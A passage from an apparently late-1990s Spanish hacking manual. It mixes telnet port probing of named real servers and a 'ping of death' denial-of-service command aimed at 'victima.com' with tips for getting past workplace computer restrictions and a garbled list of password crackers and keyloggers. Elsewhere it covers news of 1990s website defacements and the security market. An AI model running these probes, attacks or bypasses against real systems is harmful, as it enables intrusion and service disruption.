"Eco Local". Debe hacerse esto para ver las cosas que lleguen cuando se está haciendo el port surfing. Por alguna razón, algunos de los mensajes que un ordenador remoto envía no aparecen en la pantalla de Windows95 (telnet) a menos que se active la opción de eco local. Sin embargo, debe tenerse cuidado, porque en algunas situaciones todo lo que se teclee aparecerá duplicado. Por ejemplo, si se teclea "hello" la pantalla de telnet puede mostrar "heh lelllo o". Esto no significa que haya errores de tecleado, sino que lo que se escribe sufre un eco de regreso a intervalos variables.

36 Ahora clickear en Conectar, luego en Sistema Remoto. A continuación introducir el nombre de ese último Server de AOL, dns-aol.ans.net. Debajo de eso, en Puerto, escribir "Daytime". Esto hará que el Server envíe el día de la semana, la fecha y la hora de su región geográfica.Sabemos ahora que dns-aol.ans.net está expuesto al mundo, con al menos un puerto abierto. Esto nos da ánimos para seguir con el port surfing. Advertencia: Si todo el mundo que lea esto hace telnet al puerto de fecha de este ordenador, el sysadmin dirá "Whow, estoy siendo atacado por hackers!!! Será que existe alguna clase de exploit para el servicio de fechas! Cerrar‚ este puerto rápidamente!". Ahora probaremos el ordenador de Reston. Seleccionar Host Remoto otra vez y escribir el nombre h12.t60-0.Reston.t3.ans.net. Si no se consigue nada al hacer port surfing: Primero desactivar la opción de "Eco local" y entonces volver a hacer telnet a whois.internic. Preguntamos por este sistema (ans.net) que ofrece links a AOL: [vt100] InterNIC > whois ans.netConnecting to the rs Database . . . . . .Connected to the rs DatabaseANS CO+RE Systems, Inc. (ANS-DOM) 100 Clearbrook Road Elmsford, NY 10523 Domain Name: ANS.NET Administrative Contact: Hershman, Ittai (IH4) [email protected] (914) 789-5337 Technical Contact: ANS Network Operations Center (ANS-NOC) [email protected] 1-800-456-6300 Zone Contact: ANS Hostmaster (AH-ORG) [email protected] (800)456-6300 fax: (914)789-5310

Record last updated on 03-Jan-97. Record created on 27-Sep-90. Domain servers in listed order: NS.ANS.NET 192.103.63.100

37 NIS.ANS.NET 147.225.1.2 Ahora si realmente se desea ser un hacker ingenioso podría llamarse a esos teléfonos 800 y probar mediante ingeniería social a sacar un password a alguien que trabaje en esa red. Pero eso no estaría bien y no hay nada legal que pueda hacerse para conocer los passwords. Esta es una de las formas de cómo se puede hackear utilizando información que lleve a los servidores que controlan e-mail.

QUE MÁS SE PUEDE HACERSE CON UNA CONEXIÓN Y WINDOWS 95? El ping de la muerteEs una manera rápida de perder el trabajo. Se hace desde el prompt de Windows (MS-DOS). Afortunadamente muchos administradores de sistema han actualizado y reparado las cosas actualmente para que el ping de la muerte no funcione. Pero para el caso de que tu ISP o LAN en el trabajo o en el colegio no esté protegida, no lo pruebes sin el consentimiento de tu administrador de sistemas. La utilidad Ping sirve principalmente para saber si un servidor esta activo y además para poder calcular el trafico en la red según el tiempo de su respuesta. Básicamente se le envía un paquete a un servidor y este nos contesta, solo que si se le envía un paquete muy grande puede llegar desordenado, por lo que el servidor pide al origen que le vuelva a enviar una parte o la totalidad del paquete, por lo que se produce un datagrama del ping muy grande y producirá su caída. Para ejecutar este ataque solo tenemos que escribir: c:\>ping -l 65510 victima.com También existe el ping ordinario, que también se realiza desde MS-DOS. Es como una clase de tracert, pero todo lo que hace es medir el tiempo que tarda un mensaje en ir de un ordenador a otro, sin decirte nada sobre los ordenadores que se encuentran entre el tuyo y el otro (al que se le hace el ping). Otros comandos TCP/IP ocultos de MS-DOS son:ARP Tablas de traducción de direcciones IP a físicas.FTP File Transfer Protocol (Protocolo de Transferencia de Archivos).Nbtstat Visualiza información sobre la red actual, maravilloso para ser usado en tu propio . ISP. Netstat Similar a Nbtstat Route Controla las tablas de Routers (enrutado). El Hacking de Routers está considerado de extra elite.Al ser comandos "semi-secretos", no se puede conseguir detalles sobre su funcionamiento en el menú de ayuda del MS-DOS. Para conseguir ayuda simplemente teclea el comando arp, nbtstat, ping y route, y pulsa enter.Para obtener ayuda para el comando netstat debe ponerse el comando "netstat ?" . Telnet tiene también una opción de ayuda en la barra de tareas. Ahora supongamos que se quiere realizar un Hacking serio, y se necesita conocer otros comandos además de los que acabamos de ver, pero sin usar UNIX. ¿Por tanto cuál es la siguiente opción para hacer Hacking serio desde Windows? ¿Crackear passwords de servidores Windows NT?

38 Al programa freeware NTLocksmith para Windows95, añadirle el NTRecover que permite el cambio de passwords en sistemas donde el password administrativo se ha perdido. Funciona el 100% de las veces. Consigue NTLocksmith y NTRecover (y montones más de herramientas para el hacker gratis) en una próxima obra digital, como ésta, de Ediciones Cracker Colombia. Advertencia :Puede Ir a la Cárcel. Si usa NTRecover para acceder a un sistema ajeno, está pidiendo a gritos ser atrapado. ¿Pero de dónde puede conseguirse la herramienta de Hacking más mortífera que funcione en Windows? En http://home.microsoft.com (¡El mismo sitio de Microsoft!) Este programa mortífero es el Internet Explorer 3.0, o el 4, o el 5, o el último 5.5. Desdichadamente, lo que mejor hace este programa es dejar a otros hackers introducirse en su sistema y hacer cosas como por ejemplo obligar a su programa de planilla de cálculo (por ej. Quicken) a transferir los registros de los ahorros de toda tu vida a alguien en Afganistán. Internet Explorer es realmente un shell de Windows alternativo que opera muy similarmente al Administrador de Archivos o al Explorador que viene con los sistemas operativos Windows 95, Windows 98, Windows 2000, Windows ME y Windows NT. Desde Internet Explorer puede utilizar cualquier programa de su ordenador. O cualquier programa

al que tenga acceso a través de su LAN.

Nota: Un shell es un programa que se encuentra entre el sistema operativo y el usuario. Lo mejor de que Internet Explorer sea un shell de Windows es que Microsoft nunca le dijo a nadie que efectivamente fuese un shell. Los problemas de seguridad que están acosando como una plaga aInternet Explorer son la mayoría, consecuencia de que resulte ser un shell. Por el contrario, los navegadores Netscape y Mosaic no son shells. También son mucho más seguros de usar que el anterior. Para usar Internet Explorer como un shell de Windows, enciéndalo justo como si fuese a utilizarlo para navegar normalmente. Impide el intento del programa de establecer una conexión de Internet. Entonces en el espacio donde normalmente teclearía la URL a la que quiere ir, escriba c: en su lugar.Todas esas carpetas que aparecen en la pantalla. Le resultan familiares? Es lo mismo que te mostraría el Explorador. Ahora, por diversión, haga click en "Archivos de Programa" , luego en "Accesorios" y finalmente en "MSPaint". Entonces arrancar el MSPaint.¿Por tanto, se puede utilizar Internet Explorer como herramienta de Hacking?Una manera es si está usando un ordenador que restringe la utilización de otros programas en una LAN, por ejemplo. La próxima vez que acabe frustrado en el ordenador del trabajo o el de la biblioteca, compruebe si tiene el Internet Explorer. Si lo tiene, haga funcionar el programa e intente escribir letras de unidades de disco. Mientras que en su ordenador C: es una

39 unidad corriente, en una LAN puede obtener resultados poniendo R: o Z: o cualquier otra letra del alfabeto. Ahora supongamos que desea acceder al archivo de sistema NTFS que Windows NT usa desde su Windows95 o incluso desde la plataforma de MS-DOS. Esto puede ser útil si quiere usar Windows95 como una plataforma para hackear un sistema de Windows NT. http://www.ntinternals.com/ntfsdos ofrece un programa que permite a Windows95 y a MS-DOS reconocer y hacer funcionar unidades NTFS para acceso transparente.

HACK&BUSINESS (LAS EMPRESAS Y LOS ASESORES) Para la mayoría de las empresas, las grandes oportunidades de ganar dinero en Internet todavía puede que estén lejos, pero las empresas de seguridad informática ya están viendo cómo sus arcas se llenan. Internet, que al principio no era nada más que una modesta asociación de redes informáticas utilizada por investigadores para el intercambio de información, no fue concebida para servir de autopista al comercio mundial. En los primeros tiempos, la comunidad Internet era una especie de pequeño pueblo de gentes con ideas afines, donde todos se conocían y donde todos confiaban en los demás. Inevitablemente, el carácter de Internet ha cambiado ahora que están conectadas millones de personas en todo el mundo. Con la irrupción de las empresas en Internet, éstas se aprovechan de una mejor relación con clientes, proveedores y empleados en oficinas remotas pero, al mismo tiempo, se arriesgan más a que sus sistemas informáticos puedan ser violados por personas ajenas con intenciones delictivas. Así se explica que el sector de la seguridad informática, antaño una especialidad misteriosa, se haya convertido en un negocio en boga. Los peligros de un mundo conectado han hecho que corran buenos tiempos para los asesores de seguridad informática, auditores, criptógrafos y otros profesionales. La gran demanda de profesionales especializados ha hecho que los salarios suban rápidamente, a veces doblándolos o triplicándolos en los últimos cinco años, y algunos expertos en seguridad informática ganan actualmente sueldos de unos 120.000 dólares anuales. La búsqueda de talentos en seguridad informática se extiende por el mundo entero. Wletse Venema, científico informático de la universidad holandesa de Eindhoven, es coautor de Satán, un atractivo programa de software diseñado para detectar fallos de seguridad en cualquier sistema informático conectado a Internet. A finales del año pasado, fue requerido por varias empresas internacionales, antes de que se decidiera por el laboratorio de investigación de IBM en las afueras de la ciudad de Nueva York. "Ahora hay una gran demanda para mis conocimientos", comenta jocosamente. Resulta difícil precisar las cifras del gasto destinado a seguridad informática. Muchas empresas tratan esta partida de sus presupuestos como información confidencial. Dataquest, empresa dedicada a investigaciones de mercado, calcula que las empresas en todo el mundo invertirán este año 6.300 millones de dólares en seguridad de las redes informáticas. El cálcalo de Dataquest, no obstante, abarca sólo servicios suministrados por contratistas ajenos a la empresa, de modo que no incluye los gastos en personal fijo y soporte físico. Aún así, incluso tomando en cuenta sólo a los contratistas, Dataquest prevé que la facturación en el ámbito de seguridad se duplicará con creces a lo largo de los tres próximos años hasta llegar a los 12.900 millones de dólares. Aproximadamente una tercera parte de ese gasto se realizará en Estados Unidos, mientras que el resto corresponde principalmente a Europa y Asia. La industria de seguridad informática comprende a miles de empresas en todo el mundo, pasando por toda la gama, desde multinacionales gigantes como International Business Machines

40 Corporation o Science Applications International Corporation, hasta las más pequeñas integradas por una sola persona. Por supuesto, es el miedo lo que impulsa este aumento de los gastos en seguridad informática. Los temores empresariales aumentan con cada noticia de piratas informáticos que irrumpen en sitios de renombre en la Red, como el ataque a principios de año a la página de la CIA. Las autoridades policiales afirman que las intrusiones en los sistemas informáticos de las empresas que denuncian son muy pocas, como mucho un 15%. Pero las pocas que si se denuncian, como el caso de los saboteadores informáticos que en 1994 se colaron en el Citibank y consiguieron obtener diez millones de dólares en transferencias de fondos ilegales (de las cuales solamente se recuperaron 400.000 dólares), tienden a sembrar la alarma. "La cuestión no es tanto la seguridad de la Red, sino su inseguridad", afirmó Alice Murphy, analista de Dataquest. Hay mucha ansiedad en el ambiente. El grado de ansiedad de las empresas y el importe que deben invertir en seguridad informática son objeto de un acalorado debate. Y ese debate refleja en parte una división en la cultura de Internet entre el genio pirata del pasado, cuando el estado subvencionaba la Red y la información se intercambiaba libremente, y el genio comercial de la Internet de hoy. También es cierto que la motivación de muchos piratas es la emoción y el desafío intelectual. Ellos componen gran parte del público internacional se calcula que existen unos 1900 sitios en la Web donde se proporcionan trucos y herramientas para el pirateo y docenas de publicaciones como Phrack y 2600, Revista trimestral sobre piratería informática. No obstante, existe un animado mercado ilegal en esta materia, según expertos en seguridad, con una gama de precios para sabotear una página de Internet que oscila entre 6300 y 7000 dólares. Por lo general se exigen pagos adicionales por el hurto de secretos comerciales o por infligir daño en el sistema informático de una empresa de la competencia. En todo caso, como señalan algunos analistas, existe una considerable diferencia entre la vulnerabilidad potencial de los sistemas informáticos de las empresas y el riesgo real que corren. "El riesgo existe, pero se tiende a exagerar la amenaza", comenta George Colony, presidente de Forrester Research Inc., empresa asesora de Cambridge, Massachusetts. Forrester calcula que las pérdidas por fraude en el comercio de Internet probablemente ronda un dólar cada mil. Para hacernos una idea, según Forrester, las pérdidas por fraude en el servicio de telefonía celular son de unos 19 dólares por cada mil aproximadamente, mientras que las pérdidas por transacciones electrónicas con tarjetas de crédito se aproximan a los 2 dólares por cada mil de productos cobrados. No obstante, hasta los escépticos como Colony, de Forrester, están de acuerdo en que la seguridad informática es algo que precisa atención continua. "Supone un riesgo controlable que no debería desanimar a las empresas a la hora de lanzarse al comercio en Internet", comenta Colony, "pero también digo a nuestros clientes que piensen en la seguridad electrónica como una guerra de guerrillas que durará eternamente". Esta guerra de guerrillas se está desarrollando de diferentes maneras en cada país. Las empresas norteamericanas, por ejemplo, son más propensas a contratar expertos de seguridad informática en calidad de empleados fijos, como ha hecho ya el 78%, según una encuesta realizada por la firma contable Ernst & Young y la revista comercial Information Week entre 4.200 ejecutivos de servicios información, en 24 países.

SEGURIDAD : BARRERA AL COMERCIO ELECTRÓNICO Recientemente ha aparecido publicada una encuesta sobre las barreras al comercio electrónico, llevada a cabo por ITAA (Information Technology Association of America) y la consultora Ernst & Young.

41 Es un hecho que el comercio electrónico no ha experimentado todavia el crecimiento ni la aceptación que el entusiasmo inicial pronosticaba para el futuro inmediato. La encuesta tenía por cometido el analizar cuáles eran los mayores factores que actúan de freno a la expansión de la actividad comercial en Internet y de acuerdo con los resultados obtenidos, la barrera más importante es, obviamente, la falta de confianza (señalada por el 62% de los encuestados). Esta desconfianza hacia las nuevas tecnologías se articula en torno a tres temores fundamentales: 1)- La privacidad (60%), que los usuarios finales sienten amenazada en la medida en que desconocen hasta qué punto los datos personales que suministran a un servidor de comercio electrónico serán tratados de forma confidencial. ¿Quién le asegura al comprador que sus datos no se almacenarán a la ligera, siendo accesibles fácilmente por un hacker o un empleado desleal? ¿Cómo saber que no se revenden a terceros? 2)- La autenticación (56%), que inquieta a los usuarios, quienes dudan si la persona con la que se comunican es verdaderamente quien dice ser. Sin embargo, dada la relativa facilidad de falsificar una página web e incluso un sitio web completo, ¿cómo asegurarse de que se está comprando en una tienda virtual o en una imitación fiel? 3)- La seguridad global (56%), que preocupa a los usuarios, pues temen que la tecnología no sea suficientemente robusta para protegerlos frente a ataques y apropiaciones indebidas de información confidencial, especialmente en lo que respecta a los medios de pago.

Es interesante el hecho de que de toda la actividad de compra, lo que más sigue preocupando es la operación de pago, es decir, el momento en el que el comprador se enfrenta a la ventana donde han introducido su número de tarjeta de crédito y duda a la hora de pulsar el botón de "Enviar". "¿Me robarán?, ¿seré víctima de un fraude?", se pregunta el usuario en el último momento. Estos temores, qué duda cabe, tienen su fundamento real y su solución no resulta trivial. En el primer caso, la tecnología, y en concreto la criptografía, ofrecen las herramientas necesarias para la protección férrea de la información almacenada en las bases de datos corporativas, información como listas de clientes, sus datos personales y de pago, listas de pedidos, etc. Existen muchas técnicas de control de acceso que hábilmente implantadas garantizan el acceso a la información confidencial exclusivamente a aquellos usuarios autorizados para ello. Ahora bien, se han producido incidentes de servidores de comercio que almacenaron esta clase de información sensible ¡en archivos accesibles vía web por cualquier navegante! Por lo tanto, aunque la criptografía provee de medios aptos, depende en última instancia de la empresa el nivel de compromiso que adopte respecto a la seguridad de los datos que conserva en sus ficheros y su política de control de acceso. Así pues, éste es un temor bien presente y sin fácil respuesta. La tecnología nada tiene que decir si un comerciante decide vender su información a terceros. La delgada línea que protege la privacidad del usuario está constituida en este caso por la integridad moral de la empresa. En el segundo caso, la solución inmediata que ofrece la criptografía viene de la mano de los certificados digitales. La tecnología de certificación está suficientemente madura como para autenticar adecuadamente a las partes involucradas en una transacción. La más comúnmente utilizada es SSL y a pesar de la tan vapuleada limitación criptográfica fuera de Norteamérica de claves débiles de 40 bits, lo cierto es que a la hora de autenticar a las partes, principalmente al servidor, SSL funciona satisfactoriamente. Otro asunto es si asegura o no la confidencialidad, cuestión más que dudosa, si

42 se tiene en cuenta que una clave de 40 bits se rompe en cuestión de horas, con lo que los datos por ella protegidos quedan al descubierto rápidamente. Otras tecnologías emergentes, ofrecen mucha mayor confianza en este campo y, de paso, dan solución al primer problema de la privacidad, ya que permite autenticar a las partes involucradas en la transacción de manera completamente segura, sin restricciones criptográficas debidas a absurdas leyes de exportación. Su mecanismo de firma dual garantiza además que el comerciante no conocerá los datos de pago (número de tarjeta de crédito), eliminando así la posibilidad de fraude por su parte. Esto garantiza así que el comerciante cobra por la venta y que el comprador no es estafado por el comerciante ni por hackers. En cuanto al tercer temor, nuevamente la criptografía y los productos de seguridad proporcionan las soluciones a los problemas. Otra cuestión es: ¿incorporan los servidores de comercio todas las medidas necesarias para asegurar las transacciones con el usuario?. Las herramientas ofrecen solución tecnológica a los retos que se le presentan a la seguridad en el comercio electrónico, pero ¿se usa correctamente? ¿Se usa en absoluto? Por lo que parece, las verdaderas barreras al comercio electrónico no son tanto tecnológicas como humanas. Una vez más, el eslabón más débil de la cadena es de índole personal, no tecnológico.

MICROSOFT DESAFÍA A HACKERS Microsoft le invita a probar sus habilidades como hacker mediante un sitio Web operado en un ambiente Windows 2000 y desprovisto de software Cortafuegos (Firewall). Con ello, los interesados tienen la posibilidad de irrumpir en un servidor sin ser perseguidos luego por la justicia. La compañía informa que en todo momento el servidor tendrá instalada la última versión beta del sistema operativo Windows 2000. El desafío forma parte de las pruebas de seguridad que Microsoft realiza con el sistema operativo, que según las intenciones de la compañía ha de convertirse "en el más seguro que haya existido". En su lista de condiciones para participar en el Hacking autorizado, la compañía sugiere a quienes logren ingresar al servidor "cambiar archivos o contenidos, aunque evitando los comentarios insolentes o groseros". De igual modo, indica que el servidor contiene una serie de mensajes ocultos, que invita a encontrar. Bajo el subtítulo "Hágalo Interesante", la compañía precisa que filtrará aquellos intentos de Hacking simple, tales como el bombardeo de paquetes tendientes a doblegar al servidor desbordando su capacidad de respuesta. Por último, Microsoft precisa que la invitación se refiere única y exclusivamente al sitio de prueba. 

http://www.windows2000test.com/"

AHORA LINUX DESAFÍA A HACKERS Luego del desafío planteado por Microsoft a hackers interesados en poner a prueba la seguridad y presunta impenetrabilidad de Windows 2000, la compañía Linux PPC lanzó una oferta similar. El premio para quien logre violar la seguridad del servidor es… el servidor.

43 Para el caso de Linux PPC, se trata de un servidor operado con la instalación estándar, incluyendo Telnet y el servidor Web Apache. Desde su instalación, el martes 3, a la fecha, el servidor ha registrado 11.294 intentos infructuosos de irrupción. El hacker que logre penetrar el servidor se llevará la máquina como premio, informa Linux PPC. La única condición será reproducir exactamente, paso a paso, el procedimiento seguido. En la página Web creada para el concurso, J. Carr, administrador del sistema, "felicita" a los 87 habilidosos que hasta ahora han intentado realizar una conexión telnet a la máquina pretendiendo ser el propio Carr. El sitio del caso se encuentra en: 

http://crack.linuxppc.org/

HECHOS DESTACABLES En 1996, la página Web de Kriesgman ( http://www.kriesgam.com/ ), una de las principales fábricas de pieles de Estados Unidos fue hackeada por unos chicos que pusieron carteles y frases en defensa del animal y la ecología. También en noviembre de 1996 fue asaltada la página de la Agencia Central de Inteligencia de los EE. UU (CIA) ( http://www.odci.gov/cia ) y en su lugar ubicaron la frase "Welcome to the Central Stupidity Agency". Las famosas cantantes inglesas de Spice Gilrs (http://www.spicegirls.com/) tampoco salieron indemnes de esta cruzada ideológica cuando en 1997 fue modificado su site para protestar contra "la cultura pop y el uso masivo de Internet". Sin ir tan lejos, la Web principal del Ministerio de justicia local fue intervenida por el grupo x-team, colocando una fotografía de José Luis Cabezas el mismo día que se cumplía un año de su cruel asesinato. Debajo, se encontraba un texto donde supuestamente los funcionarios le pedían perdón al pueblo por trabar constantemente el esclarecimiento del caso. La pantalla, con la tristemente famosa mirada de Cabezas, permaneció allí 24 horas hasta que la removieron. Consultados los autores de ese hackeo dijeron que ellos "golpearon las puertas cibernéticas de la justicia". Los Hackers pretenden que Internet sea un espacio de comunicación libre de toda censura y restricción conspirando contra todo medio contrario a ese pensamiento. Seguramente por eso, el presidente Bill Clinton, el principal mentor de intentar ponerle restricciones a la red mundial, es parodiado constantemente con fotos trucadas que hacen alusión al sexgate desatado tiempo atrás. Estos personajes suelen ingresar también a un sistema dejando "evidencias" de que ellos estuvieron allí con el objetivo de que los encargados de la seguridad de la empresa sepan que pueden volver y destruir lo que se les plazca en el momento menos pensado. En ocasiones, muchos fueron contratados bajo altísimos sueldos por las empresas que fueron hackeadas para que ellos mismos construyan un sistema más seguro. Tienen mucho poder y lo saben. Por eso son perseguidos constantemente. El gobierno de los Estados Unidos, en defensa de sus empresarios, ha decidido hace unos años tomar cartas en el asunto personalmente. Se creó una división especial en el FBI llamada National Computer Crime Squad que protege a las computadoras gubernamentales, financieras, de instituciones médicas, etc. Ya existen leyes que penalizan el accionar estos delitos a diferencia de nuestro país, donde la legislación al respecto es nula. En 1996, el argentino Julio César Ardita penetró ilegalmente a la red del Pentágono de Estados Unidos mediante Internet y provocó el enojo de más

44 de uno en el país del norte. Fue condenado allí a cinco años de prisión en suspenso y debió pagar una multa de 5000 dólares. A pesar de la sanción, Ardita tiene, a modo de homenaje y admiración, cientos de páginas en Internet construidas por personas de diferentes países donde se pueden ver sus fotos y datos personales. Poseen su propia ética, su propio vocabulario y son por demás utópicos. Tienen niveles de aprendizaje y detestan a aquellos que se animan a prejuzgarlos. Son solidarios entre sí y, cuando no están sentados frente a sus máquinas, estudian nuevas formas para penetrar en lugares hinóspitos. No son muy sociables y les causa mucho placer sentir que transgreden.

HACKERS VULNERARON RED DEL PENTÁGONO(27.02.98): Durante las dos últimas semanas, la red informática del Pentágono ha estado expuesta a intensas irrupciones de grupo de hackers. El Subsecretario estadounidense de Defensa, declaró a los medios que "se trata del ataque más organizado y sistemático experimentado por el Pentágono". Según Hamre, nada hace suponer que el asunto tenga alguna relación con la crisis iraquí. La Secretaría de Defensa de Estados Unidos no desea proporcionar detalles del asunto a fin de no perjudicar las investigaciones correspondientes, que han sido encargadas al FBI. En tal sentido, se limitó a señalar que los hackers en ningún momento tuvieron acceso a información clasificada, sino "sólo" a los registros de personal y sueldos. El ataque contra el Pentáfono no es el primero realizado contra computadoras del gobierno y la defensa de Estados Unidos. En diciembre pasado, el sitio web de la fuerza aérea de ese país también fue alterado por hackers, que incorporaron a la página de inicio una imagen pornográfica. En septiembre fue el turno de la CIA (Central Intelligence Agency), que vio su nombre modificado a Central Stupidity Agency. (19.07.99): Personas de todo el mundo podrán tener acceso a botines multimillonarios gracias a la falla del milenio, según consultora. En un informe elaborado por la consultora Gartner Group, se advierte contra las actividades de estafadores sofisticados que aprovecharán los errores en sistemas de seguridad el 31 de diciembre, para apoderarse de dinero ajeno mediante procedimientos electrónicos. En el informe, que se basa en información recabada entre 1.000 de sus clientes, la consultora indica que no le sorprendería si al menos un robo electrónico excede los mil millones de dólares. En el documento se pone de relieve que uno de los mayores factores de riesgo es que empleados y contratistas encargados de compatibilizar sistemas "dejen una puerta trasera abierta", que posteriormente pueda ser utilizada por ellos mismos o por terceros para ingresar ilícitamente. Al respecto, Joe Pucciarelli, autor del informe de Gartner Group, declaró a USA Today que "hemos abiertos todos nuestros sistemas a personas a quienes no necesariamente conocemos bien". En tal contexto, precisó que varias compañías han descubierto "entradas traseras" en sus sistemas informáticos, dejadas ahí sin autorización con el fin evidente de obtener acceso posterior al sistema.

HACKERS ATACAN SITIO DE HILLARY CLINTON

45 (28.07.99): Como es sabido, la primera dama estadounidense, Hillary Clinton, aspira a convertirse en senadora por Nueva York. Como parte de su campaña, su equipo creó un sitio web (http://www.hillary2000.com), que ya ha sido asaltado por piratas informáticos. La intervención realizada por los hackers fue relativamente leve, ya que sólo implicó un redireccionamiento del URL, que hizo que quienes intentaran acceder al sitio web de la candidata fuesen llevados a una página web creada por "Los Amigos de Guiliani" –simpatizantes de Rudolph Giuliani– también candidato a una senaturía por Nueva York. Jerry Irvine, experto consultado por CNN, señaló que lo más probable es que los hackers hayan recurrido a un truco conocido como DNS poisoning; es decir un "envenenamiento" del sistema de nombres de dominios (Domain Name Server), haciendo que al escribir una dirección en la web los usuarios sean llevados a una dirección distinta. Los autores de la página web sobre Giuliani desmienten categóricamente ser los autores del sabotaje de la página de Hillary Clinton. A la fecha, el problema no ha sido solucionado, por lo que la página de la candidata sólo presenta un mensaje en numerosos idiomas, con el texto "en construcción".

100 HACKERS PREPARAN ATAQUE CONTRA INDONESIA (23.08.99): José Ramos Horta, quien en 1996 fuese galardonado con el Premio Nobel de la Paz junto al obispo Carlos Belo, advirtió al gobierno de Indonesia que un grupo de 100 hackers se dispone a atacar el sistema bancario del país en caso de que adultere el resultado del plebiscito de fin de mes. El día 30 de agosto, los ciudadanos de Timor del Este concurrirán a las urnas para decidir si desean o no independizarse de Indonesia. Hasta ahora, la "campaña" del gobierno de Yacarta ha resultado en más de 1.000 muertos y el desplazamiento forzado y relegación interna de más de 80.000 personas. Temiendo que el plebiscito de independencia de Timor del Este se transforme en el mayor fraude electoral de la historia, José Ramos Horta advirtió al gobierno que 100 hackers europeos y estadounidenses han preparado un arsenal cibernético consistente de una docena de virus y modalidades de ataque diseñadas para causar un colapso del sistema financiero indonesio, escribe BBC News. En caso de conseguir su objetivo, las pérdidas serían de "varios cientos de millones de dólares", lo que tendría efectos catastróficos para la economía de Indonesia, en palabras del propio Horta. A juicio del galardonado con el Premio Nobel de la Paz, un ataque informático contra Indonesia es plenamente justificable, especialmente al considerar que no se perderían vidas humanas.

HACKERS CONTROLAN SATÉLITE MILITAR BRITÁNICO (02.03.99): Satélite militar de comunicaciones está siendo controlado por piratas informáticos. El satélite sería usado para la defensa de Gran Bretaña en caso de un ataque nuclear.

46 Según el diario inglés Sunday Business, desconocidos alteraron el rumbo del satélite hace dos semanas, luego de lo cual las autoridades responsables recibieron una extorsión según la cual los hackers dejarían en paz el satélite a cambio de una fuerte suma de dinero en efectivo. Expertos en seguridad y estrategas militares toman en serio la amenaza, recalcando que sería muy natural que enemigos interesados en atacar a Gran Bretaña con armas atómicas primero intentasen dejar fuera de servicio a los sistemas de comunicación. Una fuente militar consultada por Sunday Business destacó el grave riesgo para la seguridad del país que implica que desconocidos logren apoderarse del control de un satélite. El hecho de que se trate de una extorsión agrava aún más las cosas, señaló. Por el momento, tanto la policía británica como el Ministerio de Defensa se niegan a comentar los hechos.

HACKERS VULNERAN SITIO DE SYMANTEC (03.08.99): El sitio web de Symantec fue alterado ayer por hackers. La noticia está causando revuelo en círculos informáticos, toda vez que la compañía es uno de los principales proveedores mundiales de software de seguridad y antivirus. Como parte de su irrupción contra los servidores de Symantec, los hackers cambiaron la portada del sitio web corporativo con un texto procaz en que su acción es reivindicada como una victoria ("… we own your ass, Symantec"). Según BBC News, los piratas informáticos también lograron infiltrar los servidores de Symantec con un programa tipo "gusano", que automáticamente se propaga por sistemas interconectados y que está en condiciones de causar daños similares a los virus. Consultado por BBC, un portavoz de Symantec confirmó la alteración del sitio web, aunque desmintió que los hackers hubieran logrado instalar un "gusano" en sus sistemas. El portavoz intentó quitar importancia a la situación, señalando que siempre existe el riesgo de que una compañía se vea afectada por tales ataques y que lo importante es corregir el daño con prontitud y restablecer el sitio web original. A juicio del portavoz, el prestigio de Symantec no se verá alterado por el ataque, a pesar de ser una compañía líder del rubro de la seguridad informática. Symantec denunció el hecho al FBI, que inició de inmediato las investigaciones correspondientes.

QUE PASARÁ MAS ADELANTE..... La incorporación de las denominadas "redes inteligentes" podría dificultar considerablemente las actividades de los Hackers.

47 El Instituto Tecnológico de Georgia, EEUU, trabaja en un proyecto de desarrollo de redes neurológicas, que probablemente aumentarán la seguridad del tráfico digital. El nombre "red neurológica" se basa en las neuronas del cerebro humano, que aprenden de la experiencia, creando conexiones entre las distintas áreas del cerebro. Con todo, cabe precisar que no se trata de redes que estén en condiciones de pensar, sino de sistemas capaces de identificar patrones en el flujo digital y aprender de los intentos de intrusión. Hoy en día, los administradores de sistemas deben actualizar manualmente los sistemas de protección de las redes contra las embestidas de los sagaces piratas informáticos. Con la incorporación de redes inteligentes se hará más previsible y fácil la contención de los intrusos, según escribe James Cannady, experto en el tema, en un artículo en Netsys.com. Según Cannady, tales redes estarán incluso en condiciones de detectar máquinas que monitorizan ilegalmente el tráfico de la red para captar y apoderarse de información tal como números de tarjetas de crédito, contraseñas y otros datos confidenciales. La novedad es que las redes neurológicas detectarán ese tipo de máquinas sin que sus operadores se percaten. Mayor información en: http://www.gtri.gatech.edu/res-news/rchnews.html

PROGRAMAS UTILIZADOS PARA HACKEAR NOMBRE DEL DESCRIPCIÓN PROGRAMA

S.O.

Cracker Jack 1.4 Descodificador de Passwords de Unix. Inglés.

Dos

Brute Forece 1.1 Descodificar de passwords Unix. Inglés.

Dos

John the Ripper Posiblemente el mejor descodificador de password Unix. 1.4

Dos

Star Cracker 1.0

Otro descodificador de pass. Unix. Ing.

Dos

Hack486

Más descodificadores de pass. Éste incluye un fichero de password Dos para probar. Muy rápido. Ing.

[Xit]v2.0

Más descodificadores..... Ing.

Dos

Crack v5.0

Otro descodificador pero de passwords ffb X. Ing.

Unix

Magic Cracker

Otro descodificador de passwords Unix. Ing.

Win95/NT

Jill20

Complemento para el Cracker Jack.Ing.

Dos

Unix Password Busca personas bastante importantes en un fichero password de Dos analizer Unix. Ing. VMS crack 1.0

Descodificador password de sistemas VMS.

-

Crack CNX

Descodifica ficheros cnx del software de infovía para Win3.x. Ing.

Dos

Glide

Dicen que descodifica los passwords .PWL de W95. No es compatible Dos con la versión OSR2. Ing.

PWL Viewer

Visualizador de los ficheros .PWL. Ing.

PWL Tools

Como el anterior pero todo el kit, crackeador, y visualizador. La velocidad del cual está limitada por el mal uso que se pueda hacer. Dos/W95 Ing.

Dos/W95

48 PopCrack v1.0

Cracker del Popmail Password. Ing.

Dos

Toneloc 1.10

Uno de los mejores War-Dialers de todos. Ing.

Dos

Phonetag v1.3

Otro escaneador de telefonos. Ing.

Windows

THC scan v1.0

El mejor de todos. Sin ninguna duda. Pese a que es un poco dificil de Dos configurar. Ing.

Keylog 95

Capturador de teclado. En el archivo figuran todas las teclas Dos/Win95 pulsadas. Ing.

Keylog 95/NT

v2.0

Como el anterior pero mejorado. Ing.

Win95/NT

Passgrab 1.0

Otro capturador de teclado.

-

Password v1.0

Un buen capturador de teclado. Sharewar.

W95

Thief

Passbios

Este programa engaña al usuario para pillar la clave de la Bios. Se W95 simula la Bios del ordenador para engañar. Esp.

L0phtCrack 2.01

Pillar passwords en NT. Ing.

W95/NT

PortScan

Escanea los puertos abiertos de un ordenador remoto. Ing.

Dos

Winsock v0.91

spy Substituye el ficher wsock32.dll para espiar las comunicacioens de u Pc. W95. Ing.

Satan v1.1.1

Herramienta muy util para detectar posibles agujeros de seguridad. UNIX Ing.

Netcat v1.1.0

